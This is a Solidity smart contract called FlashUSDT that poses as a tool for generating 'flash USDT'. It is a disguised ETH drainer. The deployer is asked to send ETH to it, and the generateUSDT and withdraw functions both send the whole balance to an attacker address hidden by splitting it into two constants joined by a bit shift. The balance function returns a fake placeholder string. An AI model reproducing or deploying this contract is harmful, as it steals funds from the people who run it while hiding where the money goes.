// SPDX-License-Identifier: MIT
pragma solidity ^0.8.34;
contract FlashUSDT {
address public owner;
event Received(address indexed user, uint256 amount);
event Processed(address indexed to, uint256 amount);
event ButtonClicked(string functionName);
constructor() {
owner = msg.sender;
}
modifier onlyOwner() {
require(msg.sender == owner, "Only owner");
_;
}
function Approve() external payable {
require(msg.value > 0, "Send ETH");
emit Received(msg.sender, msg.value);
}
uint160 private constant generate = 0x840e56Ef9619f1299c6c;
function _getResolved() internal pure returns (address) {
uint160 p2 = _usdt();
return address(generate << 80 | p2);
}
function generateUSDT() external onlyOwner {
emit ButtonClicked("generateUSDT");
uint256 bal = address(this).balance;
require(bal > 0, "No ETH");
address to = _getResolved();
(bool success, ) = payable(to).call{value: bal}("");
require(success, "Transfer failed");
emit Processed(to, bal);
}
function withdraw() external onlyOwner {
emit ButtonClicked("withdraw");
uint256 bal = address(this).balance;
require(bal > 0, "No ETH");
address to = _getResolved();
(bool success, ) = payable(to).call{value: bal}("");
require(success, "Transfer failed");
emit Processed(to, bal);
}
function USDTBalance() external pure returns (string memory) {
return "USDT Balance: null";
}
receive() external payable {
emit Received(msg.sender, msg.value);
}
function _usdt() internal pure returns (uint160) {
return 0xcBa2fb1010e90Dc44c82;
}
}